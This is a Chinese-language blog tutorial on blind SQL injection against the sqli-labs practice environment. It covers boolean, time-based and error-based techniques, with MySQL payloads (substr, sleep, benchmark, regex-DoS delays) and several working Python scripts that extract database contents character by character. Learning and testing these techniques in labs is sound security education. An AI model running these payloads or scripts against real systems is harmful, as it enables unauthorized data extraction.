写点什么

35 分钟了解 sql 注入 - 盲注(三)

作者:贤鱼很忙
  • 2022-10-13
    新疆
  • 本文字数:3727 字

    阅读完需:约 12 分钟

🏆今日学习目标:🍀学习 sql 注入之盲注操作✅创作者:贤鱼



@TOC==⚠盲注内容较多,可能需要花费一些时间==

布尔盲注

原理

存在 sql 注入漏洞的地方,但是不会会先数据,只能看到是否执行成功,这样子就不能通过注入数据回显了,就需要盲注,盲注对一个数据多次测试


举个例子


如果"库名"第一个字母是a,就回显“查询成功”,反之“查询失败”;如果"库名"第一个字母是b,就回显“查询成功”,反之“查询失败”;如果"库名"第一个字母是c,就回显“查询成功”,反之“查询失败”;如果"库名"第一个字母是d,就回显“查询成功”,反之“查询失败”;......如果"库名"第一个字母是z,就回显“查询成功”,反之“查询失败”;......
复制代码


名字可能由任何字符组成,我们如果匹配上了,就把他记录下来,一位一位的比较,就可以获得我们要的数据了==当然,如果手动比较,电脑和我的手一定会炸掉一个==所以我们需要写脚本,在后文会介绍到。

布尔盲注 payload 构造步骤

确定注入点,找到回显不同,例如:内容不同或者 http 头部不同


我们该如何构造语句呢?举个栗子


SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'
复制代码


SELECT name, mojority FROM student WHERE student_id = =='0' or substr((QUERY),1,1) = 'a'==这个部分就是我们需要构造的部分


构造语句的两个重点:字符串如何截取比较结果是否相等


所以盲注就相当于把注入内容一位一位拆开然后比较内容,最后比较出啥输出啥,然后将比较到的每一位字符都输出就是我们的答案了

截取字符串

substr()

使用方法:substr(要截取的字符串,从哪一位开始,截取多长)


例如


select substr((select database()),1,1);
复制代码

mid

用法和 substr 完全相同!!可以互相绕过过滤

rigth()

使用方法 right(要截取的字符串,截取长度)表示截取字符串右边几位==注意:==配合 ascii/ord 一起使用,这两个函数是返回传入字符串的首字母的 ASCII 码使用方法:ascii((right(要截取的字符串,x)))返回的内容是从右往左 x 位的 ascii 码


举个栗子


select ascii(right((select database()), 2));
复制代码

left()

使用方法:left(要截取的字符串,截取长度)表示截取字符串左边第几位==注意:==配合 reverse()+ascii/ord 使用,用法和上面类似


举个栗子:


elect ascii(reverse(left((select database()), 2));
复制代码

regexp

使用方法:binary 目标字符串 regexp 正则判断一个字符串是否匹配一个正则表达式


举个栗子:


select (select database()) regexp binary '^sec'
复制代码

rlike

用法和 regexp 雷同

trim

trim(leading 'a' from 'abcd')表示移除句首 a,会返回 abc,如果将 from 前的 a 改成 b,则会返回 abcd

insert

用法 insert(字符串,起始位置,长度,替换成什么)

字符串定位函数

INSTR(str,substr)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0FIND_IN_SET(str,strlist)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0LOCATE(substr,str,pos)–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置在pos。如若substr 不在str中,则返回值为0POSITION(substr IN str)–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串substr 在 str 中不存在,返回值为 0
复制代码


用法: locate(substr, str, pos) 字符串 str 中子字符串 substr 的第一个出现位置, 起始位置在 pos。如若 substr 不在 str 中,则返回值为 0。

比较

=<>

我觉得不需要讲。。。

rlike/regexp

上文有讲,==截取+比较==结合体

between

用法 expr between 下界 and 上界意思是是否 expr>=下界 &&expr<=上界

in

用法 expr0 in(expr0,expr1,expr2)

and,or 减法运算

可以用一个 true 去与运算一个 ASCII 码减去一个数字,如果返回 0 则说明减去的数字就是所判断的 ASCII 码:


SELECT 1 AND ascii("a")-97;
复制代码


可以用一个 false 去或运算一个 ASCII 码减去一个数字,如果返回 0 则说明减去的数字就是所判断的 ASCII 码:


SELECT 0 OR ascii("a")-97;
复制代码

脚本

import requestsreq = requests.session()chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*()-=_+`[]{}\\|;:\'",./<>?'url = "http://47.94.236.172:18080/Less-8/"result = ""query = "database()"payload = "-1' or ascii(substr(({query}),{pos},1))={c}#"# payload = "1' and if(ascii(insert((insert({query}, 1,{pos},'')),2,9999999,''))={c},1,0)#"for i in range(1, 50):  for j in chars:    data = {'id': payload.format(query=query, pos=i, c=ord(j))}    resp = req.get(url, params=data) #GET:params=data POST:data=data    # print(resp.url)    # print(resp.text)    if "You are in" in resp.text:      result += j      print(result)      breakprint('end...')print(result)
复制代码


这里还提供另一种方法:==二分法==


import requestsurl = 'http://47.94.236.172:18080/Less-8/'result = ''query = "select group_concat(SCHEMA_name) from information_schema.schemata"payload = "-1' or ascii(substr(({query}),{pos},1))>{c}#"req = requests.session()for x in range(1, 50):  high = 127  low = 32  mid = (low + high) // 2  while high > low:    data = {"id": payload.format(query=query, pos=x, c=mid)}    resp = requests.get(url, params=data) #GET:params=data POST:data=data    # print(resp.url)    if 'You are in' in resp.text: #      low = mid + 1    else:      high = mid    mid = (low + high) // 2  # print(mid)  result += chr(int(mid))  print(result)print("end.......")print(result)
复制代码

时间盲注

原理

有那么一种可能,查询成功失败返回的都一样,那么我们就无法通过返回结果看比较是否成功了,这时候就需要从裤裆里掏出时间盲注了!!!


介绍下原理:


如果"数据库名"的第1个字母是a,你就睡眠5秒,否则就直接回显如果"数据库名"的第1个字母是b,你就睡眠5秒,否则就直接回显......如果"数据库名"的第2个字母是a,你就睡眠5秒,否则就直接回显如果"数据库名"的第2个字母是b,你就睡眠5秒,否则就直接回显如果"数据库名"的第2个字母是c,你就睡眠5秒,否则就直接回显......后面以此类推
复制代码

时间盲注 payload 步骤

和上文布尔盲注差不多,只不过在构造条件语句时关注==延时操作==而不是返回值了

条件语句构造

往上翻,啥都有


补充一下

and

如果 and 前为真,执行后面内容


(condition) AND sleep(5)
复制代码

or

如果前面为假才执行后面


!(condition) OR sleep(5)
复制代码

延时操作

这里还是要写一下

sleep

意思是休眠指定事件后继续


栗子:


SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);
复制代码

benchmark

用法 benchmark(执行次数,执行什么)


栗子:


SELECT benchmark(10000000,sha1('test'));
复制代码

笛卡尔积延时

==注意==当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;


SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.columns C;
复制代码

正则 dos 延时

原理:通过费时正则匹配操作消耗时间


栗子:


select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKEconcat(repeat('(a.*)+',30),'b');
复制代码

脚本

==期不期待==同样给到两个方法:


import requestsurl = 'http://localhost/sqli-labs/Less-8/'chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*()-=_+`[]{}\\|;:\'",./<>?'query = "database()"payload = "1' and if(ascii(substr(({query})),{pos},1))={c},sleep(10),0)#"result = ''req = requests.session()for i in range(1, 50):  for j in chars:    data = {'id': payload.format(query=query, pos=i, c=ord(j))}    try:      resp = requests.get(url, params=data, timeout=5) #GET:params=dataPOST:data=data      print(resp.url)    except requests.Timeout:      result += j      print(result)      breakprint('end...')print(result)
复制代码


二分法


import requestsurl = 'http://47.94.236.172:18080/Less-9/'result = ''query = "database()"payload = "1' and if(ascii(substr(({query}),{pos},1))>{c},sleep(10),0)#"req = requests.session()for x in range(1, 50):  high = 127  low = 32  mid = (low + high) // 2  while high > low:    data = {"id": payload.format(query=query, pos=x, c=mid)}    try:      resp = requests.get(url, params=data, timeout=5) #GET:params=data POST:data=data      print(resp.url)    except requests.Timeout:      low = mid + 1      mid = (low + high) // 2      # print(data)      continue    high = mid    mid = (low + high) // 2    # print(mid)  result += chr(int(mid))  print(result)print("end.......")print(result)
复制代码

报错盲注

用法和延时盲注基本一致,但是可以用来绕过过滤延时盲注的关键字

原理

原理就是比较条件为真时,通过调用产生错误的函数


if(condition,报错,不报错)
复制代码


<font size="5">🏆结束语</font>==如果有需要可以订阅专栏,持续更新!====让我们下期再见!!==



发布于: 刚刚阅读数: 6
用户头像

贤鱼很忙

关注

为了未来奋斗中 2022-09-28 加入

主修网络安全和c++方面内容,时常提供题解和网络安全方面知识

评论

发布
暂无评论
35分钟了解sql注入-盲注(三)_sql_贤鱼很忙_InfoQ写作社区